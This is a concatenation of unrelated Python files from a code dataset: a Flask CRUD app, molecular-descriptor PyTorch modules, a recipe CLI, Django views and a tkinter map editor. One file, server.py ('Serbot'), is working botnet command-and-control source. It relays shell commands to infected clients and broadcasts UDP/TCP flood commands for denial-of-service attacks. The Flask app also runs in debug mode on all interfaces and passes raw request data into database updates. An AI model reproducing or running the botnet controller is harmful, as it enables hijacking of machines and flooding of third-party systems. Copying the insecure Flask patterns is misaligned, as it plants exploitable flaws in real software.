update_object():\n body = request.get_json()\n _id = body['_id']\n user = User.objects(_id=_id)\n if not user:\n return jsonify({'error': 'data were not found'})\n else:\n user.update(**body)\n return jsonify(user.to_json())\n#\n##HP_json = '{ \"_id\": \"ee349ca0-f8aa-4b83-9fc6-86d727399914\", \"dis\": \"Unitary HP\", \"fan\": \"m\", \"heatPump\": \"m\", \"siteRef\": \"6b25c3c7-39e4-4be7-84a9-17e80feecaf5\"}'\n#r = requests.put('http://localhost:5002/', data = HP_json)\n# THIS ADDS 'fan: m' THRU UPDATE\n#\n@app.route('/', methods=['PUT'])\ndef create_record():\n record = json.loads(request.data)\n _id = record['_id']\n user = User.objects(_id=_id)\n if not user:\n return jsonify({'error': 'data not found'})\n else:\n user.update(**record)\n return jsonify(user.to_json())\n#\n#HP_json = '{ \"_id\": \"ee349ca0-f8aa-4b83-9fc6-86d727399914\", \"dis\": \"Unitary HP\", \"equip\": \"m\", \"heatPump\": \"m\", \"siteRef\": \"6b25c3c7-39e4-4be7-84a9-17e80feecaf5\"}'\n#r = requests.post('http://localhost:5002/', data = HP_json)\n#\n@app.route('/', methods=['POST'])\ndef update_record():\n record = json.loads(request.data)\n print(record)\n user = User(**record).save()\n return jsonify(user.to_json())\n#\n#r = requests.delete('http://localhost:5002/', params = {\"_id\": \"ee349ca0-f8aa-4b83-9fc6-86d727399914\"})\n#\n@app.route('/', methods=['DELETE'])\ndef delete_record():\n _id = request.args.get('_id')\n user = User.objects(_id=_id)\n if not user:\n return jsonify({'error': 'data not found'})\n else:\n user.delete()\n return jsonify(user.to_json())\n\nif __name__ == '__main__':\n # run app in debug mode on port 5001\n app.run(host='0.0.0.0', port=5002, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"125088227","text":"import torch\nfrom torch import nn as nn\n\nimport pdb\n\nfrom schnetpack2.nn.cutoff import CosineCutoff\n\n__all__ = [\n 'AngularDistribution', 'RadialDistribution', 'GaussianSmearing', 'LaguerreSmearing', 'ChebyshevSmearing', 'HIPNNSmearing'\n]\n\ndef gaussian_smearing(distances, offset, widths, centered=False):\n \"\"\"\n Perform gaussian smearing on interatomic distances.\n\n Args:\n distances (torch.Tensor): Variable holding the interatomic distances (B x N_at x N_nbh)\n offset (torch.Tensor): torch tensor of offsets\n centered (bool): If this flag is chosen, Gaussians are centered at the origin and the\n offsets are used to provide their widths (used e.g. for angular functions).\n Default is False.\n\n Returns:\n torch.Tensor: smeared distances (B x N_at x N_nbh x N_gauss)\n\n \"\"\"\n if centered == False:\n # Compute width of Gaussians (using an overlap of 1 STDDEV)\n # widths = offset[1] - offset[0]\n coeff = -0.5 / torch.pow(widths, 2)\n # Use advanced indexing to compute the individual components\n diff = distances[:, :, :, None] - offset[None, None, None, :]\n else:\n # If Gaussians are centered, use offsets to compute widths\n coeff = -0.5 / torch.pow(offset, 2)\n # If centered Gaussians are requested, don't substract anything\n diff = distances[:, :, :, None]\n # Compute and return Gaussians\n gauss = torch.exp(coeff * torch.pow(diff, 2))\n return gauss\n\n\nclass GaussianSmearing(nn.Module):\n \"\"\"\n Wrapper class of gaussian_smearing function. Places a predefined number of Gaussian functions within the\n specified limits.\n\n Args:\n start (float): Center of first Gaussian.\n stop (float): Center of last Gaussian.\n n_gaussians (int): Total number of Gaussian functions.\n centered (bool): if this flag is chosen, Gaussians are centered at the origin and the\n offsets are used to provide their widths (used e.g. for angular functions).\n Default is False.\n trainable (bool): If set to True, widths and positions of Gaussians are adjusted during training. Default\n is False.\n \"\"\"\n\n def __init__(self, start=0.0, stop=5.0, n_gaussians=50, centered=False, trainable=False):\n super(GaussianSmearing, self).__init__()\n offset = torch.linspace(start, stop, n_gaussians)\n widths = torch.FloatTensor((offset[1] - offset[0]) * torch.ones_like(offset))\n if trainable:\n self.width = nn.Parameter(widths)\n self.offsets = nn.Parameter(offset)\n else:\n self.register_buffer('width', widths)\n self.register_buffer('offsets', offset)\n self.centered = centered\n\n def forward(self, distances):\n \"\"\"\n Args:\n distances (torch.Tensor): Tensor of interatomic distances.\n\n Returns:\n torch.Tensor: Tensor of convolved distances.\n\n \"\"\"\n return gaussian_smearing(distances, self.offsets, self.width, centered=self.centered)\n\n\ndef hipnn_smearing(distances, offset, widths, centered=False):\n \"\"\"\n Perform gaussian smearing on interatomic distances.\n\n Args:\n distances (torch.Tensor): Variable holding the interatomic distances (B x N_at x N_nbh)\n offset (torch.Tensor): torch tensor of offsets\n centered (bool): If this flag is chosen, Gaussians are centered at the origin and the\n offsets are used to provide their widths (used e.g. for angular functions).\n Default is False.\n\n Returns:\n torch.Tensor: smeared distances (B x N_at x N_nbh x N_gauss)\n\n \"\"\"\n if centered == False:\n # Compute width of Gaussians (using an overlap of 1 STDDEV)\n # widths = offset[1] - offset[0]\n coeff = -0.5 * torch.pow(widths, 2)\n # Use advanced indexing to compute the individual components\n\n diff = torch.pow(distances[:, :, :, None]+1e-4,-1) - offset[None, None, None, :]\n else:\n # If Gaussians are centered, use offsets to compute widths\n coeff = -0.5 * torch.pow(offset, 2)\n # If centered Gaussians are requested, don't substract anything\n diff = distances[:, :, :, None]\n # Compute and return Gaussians\n gauss = torch.exp(coeff * torch.pow(diff, 2))\n return gauss\n\n\nclass HIPNNSmearing(nn.Module):\n \"\"\"\n Wrapper class of gaussian_smearing function. Places a predefined number of Gaussian functions within the\n specified limits.\n\n Args:\n start (float): Center of first Gaussian.\n stop (float): Center of last Gaussian.\n n_gaussians (int): Total number of Gaussian functions.\n centered (bool): if this flag is chosen, Gaussians are centered at the origin and the\n offsets are used to provide their widths (used e.g. for angular functions).\n Default is False.\n trainable (bool): If set to True, widths and positions of Gaussians are adjusted during training. Default\n is False.\n \"\"\"\n\n def __init__(self, start=1.0, stop=5.0, n_gaussians=50, centered=False, trainable=False):\n super(HIPNNSmearing, self).__init__()\n offset = torch.linspace(1/stop, 1/start, n_gaussians)\n widths = torch.FloatTensor( 0.2*torch.ones_like(offset))\n if trainable:\n self.width = nn.Parameter(widths)\n self.offsets = nn.Parameter(offset)\n #pdb.set_trace()\n else:\n self.register_buffer('width', widths)\n self.register_buffer('offsets', offset)\n self.centered = centered\n\n def forward(self, distances):\n \"\"\"\n Args:\n distances (torch.Tensor): Tensor of interatomic distances.\n\n Returns:\n torch.Tensor: Tensor of convolved distances.\n\n \"\"\"\n #pdb.set_trace()\n return hipnn_smearing(distances, self.offsets, self.width, centered=self.centered)\n\n\n\ndef recursive_laguerre(distances, n_expansion_coeffs):\n expansion = []\n expansion.append(1-distances)\n expansion.append((distances.pow(2)-4*distances+2)/2)\n\n for k in range(2,n_expansion_coeffs):\n expansion.append(((2*k+1-distances)*expansion[k-1]-k*expansion[k-2])/(k+1))\n\n return torch.stack(expansion, dim=-1)\n\ndef recursive_chebyshev(distances, n_expansion_coeffs):\n expansion = []\n expansion.append(distances)\n expansion.append(2*distances*expansion[0]-1)\n\n for k in range(2,n_expansion_coeffs):\n expansion.append(2*distances*expansion[k-1]-expansion[k-2])\n\n return torch.stack(expansion, dim=-1)\n\nclass PolynomialExpansion(nn.Module):\n \"\"\"\n Places a predefined number of Laguerre functions within the specified limits.\n\n Args:\n n_filters (int): Total number of filters.\n n_expansion_coeffs (int): Total number of expansion coefficients of Laguerre Polynomials\n trainable (bool): If set to True, the lengthscales of laguere polynomials are adjusted during training. Default\n is False.\n \"\"\"\n\n def __init__(self, n_filters=16, n_expansion_coeffs = 16):\n super(PolynomialExpansion, self).__init__()\n self.n_expansion_coeffs = n_expansion_coeffs\n self.linear_combs = nn.Linear(n_expansion_coeffs, n_filters, bias=False)\n self.weights_normalization = nn.utils.weight_norm(self.linear_combs, name='weight')\n\n def forward(self, distances):\n \"\"\"\n Args:\n distances (torch.Tensor): Tensor of interatomic distances.\n\n Returns:\n torch.Tensor: Tensor of expanded distances.\n\n \"\"\"\n expansions = self.get_expansion(distances)\n return self.weights_normalization(expansions)\n\n def get_expansion(self, distances):\n raise NotImplementedError\n\nclass LaguerreSmearing(PolynomialExpansion):\n\n def __init__(self, n_filters=16, n_expansion_coeffs = 16):\n super(LaguerreSmearing, self).__init__(n_filters=n_filters, n_expansion_coeffs = n_expansion_coeffs)\n\n def get_expansion(self, distances):\n return recursive_laguerre(distances, self.n_expansion_coeffs)#recursive_laguerre(4*distances, self.n_expansion_coeffs)*torch.exp(-2*distances).unsqueeze(-1).repeat(1,1,1,self.n_expansion_coeffs)#distances times 4 to correct with reduced bohr radius\n\nclass ChebyshevSmearing(PolynomialExpansion):\n \"\"\"\n Places a predefined number of Laguerre functions within the specified limits.\n\n Args:\n cutoff:float indicating the size of the atom environment\n \"\"\"\n\n def __init__(self, n_filters=16, n_expansion_coeffs = 16, cutoff=5.0):\n super(ChebyshevSmearing, self).__init__(n_filters = n_filters, n_expansion_coeffs = n_expansion_coeffs)\n self.cutoff = cutoff\n\n def forward(self, distances):\n expansions = self.get_expansion(2*distances/self.cutoff-1)\n return self.weights_normalization(expansions)\n\n def get_expansion(self, distances):\n return recursive_chebyshev(distances, self.n_expansion_coeffs)\n\n\nclass AngularDistribution(nn.Module):\n \"\"\"\n Routine used to compute angular type symmetry functions between all atoms i-j-k, where i is the central atom.\n\n Args:\n radial_filter (callable): Function used to expand distances (e.g. Gaussians)\n angular_filter (callable): Function used to expand angles between triples of atoms (e.g. BehlerAngular)\n cutoff_functions (callable): Cutoff function\n crossterms (bool): Include radial contributions of the distances r_jk\n pairwise_elements (bool): Recombine elemental embedding vectors via an outer product. If e.g. one-hot encoding\n is used for the elements, this is equivalent to standard Behler functions\n (default=False).\n\n \"\"\"\n\n def __init__(self,\n radial_filter,\n angular_filter,\n cutoff_functions=CosineCutoff,\n crossterms=False,\n pairwise_elements=False,\n aggregate =True\n ):\n super(AngularDistribution, self).__init__()\n self.radial_filter = radial_filter\n self.angular_filter = angular_filter\n self.cutoff_function = cutoff_functions\n self.crossterms = crossterms\n self.pairwise_elements = pairwise_elements\n self.aggregate = aggregate\n\n def forward(self, r_ij, r_ik, r_jk, triple_masks=None, elemental_weights=None):\n \"\"\"\n Args:\n r_ij (torch.Tensor): Distances to neighbor j\n r_ik (torch.Tensor): Distances to neighbor k\n r_jk (torch.Tensor): Distances between neighbor j and k\n triple_masks (torch.Tensor): Tensor mask for non-counted pairs (e.g. due to cutoff)\n elemental_weights (tuple of two torch.Tensor): Weighting functions for neighboring elements, first is for\n neighbors j, second for k\n\n Returns:\n torch.Tensor: Angular distribution functions\n\n \"\"\"\n\n nbatch, natoms, npairs = r_ij.size()\n\n # compute gaussilizated distances and cutoffs to neighbor atoms\n radial_ij = self.radial_filter(r_ij)\n radial_ik = self.radial_filter(r_ik)\n angular_distribution = radial_ij * radial_ik\n\n if self.crossterms:\n radial_jk = self.radial_filter(r_jk)\n angular_distribution = angular_distribution * radial_jk\n\n # Use cosine rule to compute cos( theta_ijk )\n cos_theta = (torch.pow(r_ij, 2) + torch.pow(r_ik, 2) - torch.pow(r_jk, 2)) / (2.0 * r_ij * r_ik)\n\n # Required in order to catch NaNs during backprop\n if triple_masks is not None:\n cos_theta[triple_masks == 0] = 0.0\n\n angular_term = self.angular_filter(cos_theta)\n\n if self.cutoff_function is not None:\n cutoff_ij = self.cutoff_function(r_ij)\n cutoff_ik = self.cutoff_function(r_ik)\n angular_distribution = angular_distribution * cutoff_ij.unsqueeze(-1) * cutoff_ik.unsqueeze(-1)\n\n if self.crossterms:\n cutoff_jk = self.cutoff_function(r_jk).squeeze(-1)[...,None]\n angular_distribution = angular_distribution * cutoff_jk\n\n # Compute radial part of descriptor\n if triple_masks is not None:\n # Filter out nan divisions via boolean mask, since\n # angular_term = angular_term * triple_masks\n # is not working (nan*0 = nan)\n angular_term[triple_masks == 0] = 0.0\n triple_masks = torch.unsqueeze(triple_masks, -1)\n angular_distribution = angular_distribution * triple_masks\n\n # Apply weights here, since dimension is still the same\n if elemental_weights is not None:\n if not self.pairwise_elements:\n Z_ij, Z_ik = elemental_weights\n Z_ijk = Z_ij * Z_ik\n angular_distribution = torch.unsqueeze(angular_distribution, -1) * torch.unsqueeze(Z_ijk, -2).float()\n else:\n # Outer product to emulate vanilla SF behavior\n Z_ij, Z_ik = elemental_weights\n B, A, N, E = Z_ij.size()\n pair_elements = Z_ij[:, :, :, :, None] * Z_ik[:, :, :, None, :]\n pair_elements = pair_elements + pair_elements.permute(0, 1, 2, 4, 3)\n # Filter out lower triangular components\n pair_filter = torch.triu(torch.ones(E, E)) == 1\n pair_elements = pair_elements[:, :, :, pair_filter]\n angular_distribution = torch.unsqueeze(angular_distribution, -1) * torch.unsqueeze(pair_elements, -2)\n\n # Dimension is (Nb x Nat x Nneighpair x Nrad) for angular_distribution and\n # (Nb x Nat x NNeigpair x Nang) for angular_term, where the latter dims are orthogonal\n # To multiply them:\n angular_distribution = angular_distribution[:, :, :, :, None, :] * angular_term[:, :, :, None, :, None]\n else:\n if self.aggregate:\n return torch.einsum('banr,banf->barf', angular_distribution, angular_term).reshape((nbatch, natoms, -1))\n else:\n angular_distribution = angular_distribution[:, :, :, :, None] * angular_term[:, :, :, None, :]\n\n if not self.aggregate:\n return angular_distribution.view(nbatch, natoms, angular_distribution.size()[2], -1)\n\n # For the sum over all contributions\n angular_distribution = torch.sum(angular_distribution, 2)\n # Finally, we flatten the last two dimensions\n angular_distribution = angular_distribution.view(nbatch, natoms, -1)\n\n return angular_distribution\n\nclass RadialDistribution(nn.Module):\n \"\"\"\n Radial distribution function used e.g. to compute Behler type radial symmetry functions.\n\n Args:\n radial_filter (callable): Function used to expand distances (e.g. Gaussians)\n cutoff_function (callable): Cutoff function\n \"\"\"\n\n def __init__(self, radial_filter, cutoff_function=CosineCutoff):\n super(RadialDistribution, self).__init__()\n self.radial_filter = radial_filter\n self.cutoff_function = cutoff_function\n\n def forward(self, r_ij, elemental_weights=None, neighbor_mask=None):\n \"\"\"\n Args:\n r_ij (torch.Tensor): Interatomic distances\n elemental_weights (torch.Tensor): Element-specific weights for distance functions\n neighbor_mask (torch.Tensor): Mask to identify positions of neighboring atoms\n\n Returns:\n torch.Tensor: Nbatch x Natoms x Nfilter tensor containing radial distribution functions.\n \"\"\"\n\n nbatch, natoms, nneigh = r_ij.size()\n\n radial_distribution = self.radial_filter(r_ij)\n\n # If requested, apply cutoff function\n if self.cutoff_function is not None:\n cutoffs = self.cutoff_function(r_ij).squeeze(-1)[...,None]\n radial_distribution = radial_distribution * cutoffs\n\n # Apply neighbor mask\n if neighbor_mask is not None:\n radial_distribution = radial_distribution * torch.unsqueeze(neighbor_mask, -1)\n\n # Weigh elements if requested\n if elemental_weights is not None:\n radial_distribution = radial_distribution[:, :, :, :, None] * elemental_weights[:, :, :, None, :].float()\n\n radial_distribution = torch.sum(radial_distribution, 2)\n radial_distribution = radial_distribution.view(nbatch, natoms, -1)\n return radial_distribution","sub_path":"custom/nn/acsf.py","file_name":"acsf.py","file_ext":"py","file_size_in_byte":16533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"477909569","text":"#!/usr/bin/env python3\n\n\nimport tc\n\nfrom Recipe import Recipe\n\n\nwhile True:\n tc.create_header(\"RocketFuelManager ver 1.0\", clearterm=True)\n calcorread = input(\" What can I help you with? [C]alculate a new recipe or [L]oad an old one?: \")\n if calcorread.capitalize() == \"C\":\n # Calculate a new recipe\n newrecipe = Recipe()\n newrecipe.cooktodict()\n newrecipe.createprettyprint(excludenotes=True)\n newrecipe.prettyprintrecipe(indent=28, newlines=2)\n saveornot = input(\"\\n\\n Want to save? [Y]es or [N]o?: \")\n if saveornot[0].capitalize() == \"Y\":\n # Save data\n newrecipe.createsavedata()\n cookbookorsingle = input(\"\\n [A]dd to Cookbook, [e]xport or [b]oth?: \")\n if cookbookorsingle.capitalize() == \"A\":\n newrecipe.writetofile(singlefile=False)\n elif cookbookorsingle.capitalize() == \"E\":\n newrecipe.writetofile(singlefile=True)\n elif cookbookorsingle.capitalize() == \"B\":\n newrecipe.writetofile(singlefile=False)\n newrecipe.writetofile(singlefile=True)\n\n elif calcorread.capitalize() == \"L\":\n singleorcookbook = input(\"\\n Load a [s]ingle file or from [C]ookbook?: \")\n if singleorcookbook.capitalize() == \"S\":\n # Load from single file\n name = input(\"\\n Enter the name of your .recipe file: \")\n loadrecipe = Recipe(loadfromfile=True, singlefile=True, identifier=name, searchbydate=False)\n if loadrecipe.nonexistent is not True:\n loadrecipe.prettyprintrecipe(regenerate=True, indent=28, newlines=2)\n importornot = input(\"\\n Do you want to [i]mport the recipe?: \")\n if importornot.capitalize() == \"I\":\n loadrecipe.modifynoteprocedure(save=True)\n elif singleorcookbook.capitalize() == \"C\":\n # Load a saved recipe\n dateorname = input(\"\\n Search by [d]ate or by [n]ame?: \")\n if dateorname.capitalize() == \"N\":\n # Load by name\n recipename = input(\"\\n Enter the name of your recipe: \")\n loadrecipe = Recipe(loadfromfile=True, identifier=recipename, searchbydate=False)\n if loadrecipe.nonexistent is not True:\n loadrecipe.prettyprintrecipe(regenerate=True, indent=28, newlines=2)\n loadrecipe.modifynoteprocedure(save=True)\n elif dateorname.capitalize() == \"D\":\n # Load by date\n recipedate = input(\"\\n Enter the date of your recipe: \")\n loadrecipe = Recipe(loadfromfile=True, identifier=recipedate, searchbydate=True)\n if loadrecipe.nonexistent is not True:\n loadrecipe.prettyprintrecipe(regenerate=True, indent=28, newlines=2)\n loadrecipe.modifynoteprocedure(save=True)\n repeatorexit = input(\"\\n\\n Do you want to exit? [Y]es or [N]o?: \")\n if repeatorexit.capitalize() == \"Y\":\n tc.clear_term()\n break\n","sub_path":"src/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"381426632","text":"#!/usr/bin/env python2\n\nimport os, sys, time, datetime\nfrom socket import *\n\nif (len(sys.argv) == 4):\n\tport = int(sys.argv[1])\n\tpassword = sys.argv[2]\n\tbridgeport = int(sys.argv[3])\nelse:\n\tsys.exit(\"Usage: server.py \")\n\nintro = \"\"\"\n ____ ____ ____ ____ ____ ____ \n||S |||e |||r |||b |||o |||t ||\n||__|||__|||__|||__|||__|||__||\n|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\n\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\"\n\"\"\"\n\ns=socket(AF_INET, SOCK_STREAM)\ns.settimeout(5)\ns.bind((\"0.0.0.0\",port)) \ns.listen(5)\n\nallConnections = []\nallAddresses = []\t\n\ndef updateLogs(newlog):\n\ttime = datetime.datetime.now()\t\n\tnewlog = \"[%s] %s\\n\" % (time, newlog)\n\tf = open(\"serbot-logs.txt\", \"a\")\t\n\tf.write(newlog)\n\tf.close()\n\ndef quitClients():\n\tfor item in allConnections:\n\t\ttry:\n\t\t\titem.send(\"exit\")\n\t\t\titem.close()\n\t\texcept Exception as error:\n\t\t\tupdateLogs(error)\n\n\tdel allConnections[:]\n\tdel allAddresses[:]\t\n\ndef getConnections():\n\tfor item in allConnections:\n\t\titem.close()\n\n\tdel allConnections[:]\n\tdel allAddresses[:]\n\n\twhile 1:\n\t\ttry:\n\t\t\tq,addr=s.accept()\n\t\t\tq.setblocking(1)\n\t\t\tallConnections.append(q)\n\t\t\tallAddresses.append(addr)\n\t\texcept:\n\t\t\tbreak\n\ndef main():\n\tbridge=socket(AF_INET, SOCK_STREAM)\n\tbridge.bind((\"0.0.0.0\",bridgeport))\n\tbridge.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n\twhile 1:\n\t\tbridge.listen(1)\n\t\tq,addr=bridge.accept()\n\n\t\tcpass = q.recv(10240)\n\t\tif (cpass == password):\n\t\t\tloginsucc=True\n\t\telse:\n\t\t\tloginsucc=False\n\n\t\tbreakit = False\n\t\twhile 1:\n\t\t\tif (loginsucc == False):\n\t\t\t\tquitClients()\n\t\t\t\tbreak\n\n\t\t\tif (breakit == True):\n\t\t\t\tquitClients()\n\t\t\t\tbreak\n\n\t\t\ttimeout = time.time() + 600\n\t\t\tif (time.time() > timeout):\n\t\t\t\tquitClients()\n\t\t\t\tbreak\n\n\t\t\tcommand = q.recv(10240)\n\t\t\tif (command == \"accept\"):\n\t\t\t\tgetConnections()\n\t\t\t\tq.send(\"[INFO] Done Accepting\\n\")\n\t\t\telif(command == \"list\"):\n\t\t\t\ttemporary = \"\"\n\t\t\t\tfor item in allAddresses:\n\t\t\t\t\ttemporary += \"%d - %s|%s\\n\" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))\n\t\t\t\tif (temporary != \"\"):\n\t\t\t\t\tq.send(temporary)\n\t\t\t\telse:\n\t\t\t\t\tq.send(\"[INFO] No clients\\n\")\n\t\t\telif(\"interact \" in command):\n\t\t\t\tchosenone = int(command.replace(\"interact \",\"\")) - 1\n\t\t\t\tif ((chosenone < len(allAddresses)) and (chosenone >= 0 )):\n\t\t\t\t\tq.send(\"[INFO] Interacting with %s\\n\" % str(allAddresses[chosenone]))\n\t\t\t\t\ttry:\n\t\t\t\t\t\tallConnections[chosenone].send(\"hellows123\")\n\t\t\t\t\t\tvtpath = allConnections[chosenone].recv(10240) + \">\"\n\t\t\t\t\t\tq.send(vtpath)\n\t\t\t\t\t\n\t\t\t\t\t\twhile 1:\n\t\t\t\t\t\t\tif (time.time() > timeout):\n\t\t\t\t\t\t\t\tbreakit = True\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tdata=q.recv(10240)\n\t\t\t\t\t\t\t\tif ((data != \"stop\") and (\"cd \" not in data) and (\"udpflood \" not in data) and (\"tcpflood \" not in data)):\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\tallConnections[chosenone].send(data)\n\t\t\t\t\t\t\t\t\t\tmsg=allConnections[chosenone].recv(10240)\n\t\t\t\t\t\t\t\t\t\tq.send(msg)\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\tq.send(\"[ERROR] Client closed the connection\\n\")\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\telif (\"cd \" in data):\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\tallConnections[chosenone].send(data)\n\t\t\t\t\t\t\t\t\t\tmsg=allConnections[chosenone].recv(10240)\n\t\t\t\t\t\t\t\t\t\tvtpath = msg + \">\"\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tq.send(vtpath)\n\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\tq.send(\"[ERROR] Client closed the connection\\n\")\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\telif (\"udpflood \" in data or \"tcpflood \" in data):\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\tallConnections[chosenone].send(data)\n\t\t\t\t\t\t\t\t\t\tq.send(\"[INFO] Command sent\\n\")\n\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\tq.send(\"[ERROR] Client closed the connection\\n\")\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\telif (data == \"stop\"):\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\tquitClients()\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\texcept:\n\t\t\t\t\t\tq.send(\"[ERROR] Client closed the connection\\n\")\n\t\t\t\telse:\n\t\t\t\t\tq.send(\"[ERROR] Client doesn't exist\\n\")\n\t\t\telif (\"udpfloodall \" in command or \"tcpfloodall \" in command):\n\t\t\t\tfor item in allConnections:\n\t\t\t\t\ttry:\n\t\t\t\t\t\titem.send(command)\n\t\t\t\t\texcept Exception as error:\n\t\t\t\t\t\tupdateLogs(error)\n\t\t\telif(command == \"quit\"):\n\t\t\t\tquitClients()\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tq.send(\"[ERROR] Invalid Command\\n\")\n\n\nwhile 1:\n\ttry:\t\t\n\t\tmain()\n\texcept KeyboardInterrupt:\n\t\ttry:\n\t\t\tquitClients()\n\n\t\t\tdel allConnections[:]\n\t\t\tdel allAddresses[:]\n\t\texcept Exception as error:\n\t\t\tupdateLogs(error)\n\texcept Exception as error:\n\t\tupdateLogs(error)\n\t\n\ttime.sleep(5)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"370751187","text":"from django.http import *\nfrom django.shortcuts import render\nfrom django.shortcuts import get_object_or_404\nfrom .models import *\nfrom leeps_website.people.models import *\n# Create your views here.\n\ndef index(request):\n classes = Class.objects.all()\n return render(request,\n 'classes/index.html',\n { 'classes': classes, })\n\ndef details(request, class_name):\n cls = get_object_or_404(Class, slug=class_name)\n readings = Reading.objects.filter(cls=cls)\n tags = set([\"All\"])\n for reading in readings:\n if reading.tag != None:\n tags.add(reading.tag)\n return render(request,\n 'classes/details.html',\n { 'class': cls, 'readings': readings, 'tags': tags})\n\ndef get_readings_by_tag(request, class_name, tag_name):\n cls = get_object_or_404(Class, slug=class_name)\n readings = Reading.objects.filter(cls=cls)\n tags = [reading.tag for reading in readings if reading.tag is not None]\n tags.insert(0, 'All')\n tag_name = str(tag_name)\n if tag_name.count('All') == 1:\n tagged = readings\n else:\n tagged = [reading for reading in readings if tag_name.count(str(reading.tag)) == 1]\n return render(\n request,\n 'classes/details.html',\n {\n 'class': cls,\n 'readings': tagged,\n 'tags': tags,\n }\n )\n","sub_path":"leeps_website/classes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"455752040","text":"from tkinter import *\nfrom editor import *\nimport fileHandler\n\nclass Application(Tk):\n\tdef __init__(self):\n\t\tself.buttons = []\n\n\t\tTk.__init__(self)\n\t\tself.title(\"Maths-Info\")\t\n\t\tself.resizable(0,0)\t# Fenêtre non redimentionable \n\t\tself.main = Canvas(self, width=800, height=800, bg=\"light grey\",border=0)\n\t\tself.toolbar = Canvas(self,width=150,height=800,border=0)\n\t\tself.toolbar.pack(side=LEFT)\n\t\tself.main.pack(side=LEFT)\n\t\tself.initToolbar()\n\t\tself.editor = Editor(self.main,self.toolbar)\n\t\tself.ouvrir()\n\n\tdef initToolbar(self):\n\t\tself.openBtn = Button(self.toolbar, text = \"Ouvrir\", command = self.ouvrir, width=15,height=2)\n\t\tself.saveBtn = Button(self.toolbar, text = \"Enregistrer\", command = lambda:fileHandler.saveMap(self.name.get(),self.editor.poly), width=15,height=2)\n\t\tself.newBtn = Button(self.toolbar, text = \"Créer Polygone\", command = self.newPoly, width=15,height=2)\n\t\tself.delBtn = Button(self.toolbar, text = \"Supprimer Poly\", command = self.supPoly, width=15,height=2)\n\t\tself.rayons = Button(self.toolbar, text = \"Créer rayons\", command = self.createRayons, width=15,height=2)\n\t\tself.quitBtn = Button(self.toolbar, text = \"Quitter\", command = self.destroy, width=15,height=2)\n\n\t\t# Création de la zone de texte pour le nom du fichier\n\t\tself.fileName = StringVar()\n\t\tself.fileName.set(\"default\")\n\t\tself.name = Entry(self.toolbar, textvariable=self.fileName, width=18)\n\n\t\t# Affichage btns\n\t\tself.toolbar.create_line(0,190,200,190,width=2,fill=\"grey\")\n\t\tself.toolbar.create_text(75,30,text=\"Map Editor\",font=(\"Trebuchet\",15,\"bold\"))\n\t\tself.toolbar.create_line(0,50,200,50,width=2,fill=\"grey\")\n\n\t\tself.openBtn.place(x=20,y=60)\n\t\tself.name.place(x=20,y=110)\n\t\tself.saveBtn.place(x=20,y=140)\n\n\t\tself.newBtn.place(x=20,y=200)\n\t\tself.delBtn.place(x=20,y=250)\n\t\tself.rayons.place(x=20,y=340)\n\t\tself.quitBtn.place(x=20,y=750)\n\n\tdef ouvrir(self):\n\t\tpolygons = fileHandler.openMap(self.name.get())\n\t\tif polygons != None:\t# Si None -> Fichier non existant\n\n\t\t\tfor p in self.editor.poly:\t# On supprime tous les polygones existants\n\t\t\t\tp.kill()\n\t\t\tself.editor.poly=[]\n\n\t\t\tfor p in polygons:\t# On recrée les polygones chargés\n\t\t\t\tpt = []\n\t\t\t\tfor point in p[1:]:\n\t\t\t\t\tcoord = point.split(',')\n\t\t\t\t\tpt+=[Point(self.main,int(coord[0]),int(coord[1]),[\"points\"+str(self.editor.nbPoly),self.editor.nbPoly])]\n\t\t\t\tself.editor.poly += [Polygone(self.main,\"poly\"+str(self.editor.nbPoly),pt,p[0])]\n\t\t\t\tself.editor.nbPoly+=1\n\n\tdef newPoly(self):\n\t\tself.editor.saisie()\n\n\tdef supPoly(self):\n\t\tself.editor.deleting = not self.editor.deleting\n\n\tdef createRayons(self):\n\t\tself.editor.doCreateRayons = not self.editor.doCreateRayons\n\n\nif __name__ == '__main__':\n\tapp = Application().mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"392196849","text":"from pico2d import *\nimport game_framework\nimport title_state\nimport random\nimport math\nimport json\n\nclass Grass:\n def __init__(self):\n self.image = load_image('../image/grass.png')\n\n def draw(self):\n self.image.draw(400,30)\n\nIDLE, RUN, SLEEP = range(3)\nRIGHT_DOWN, 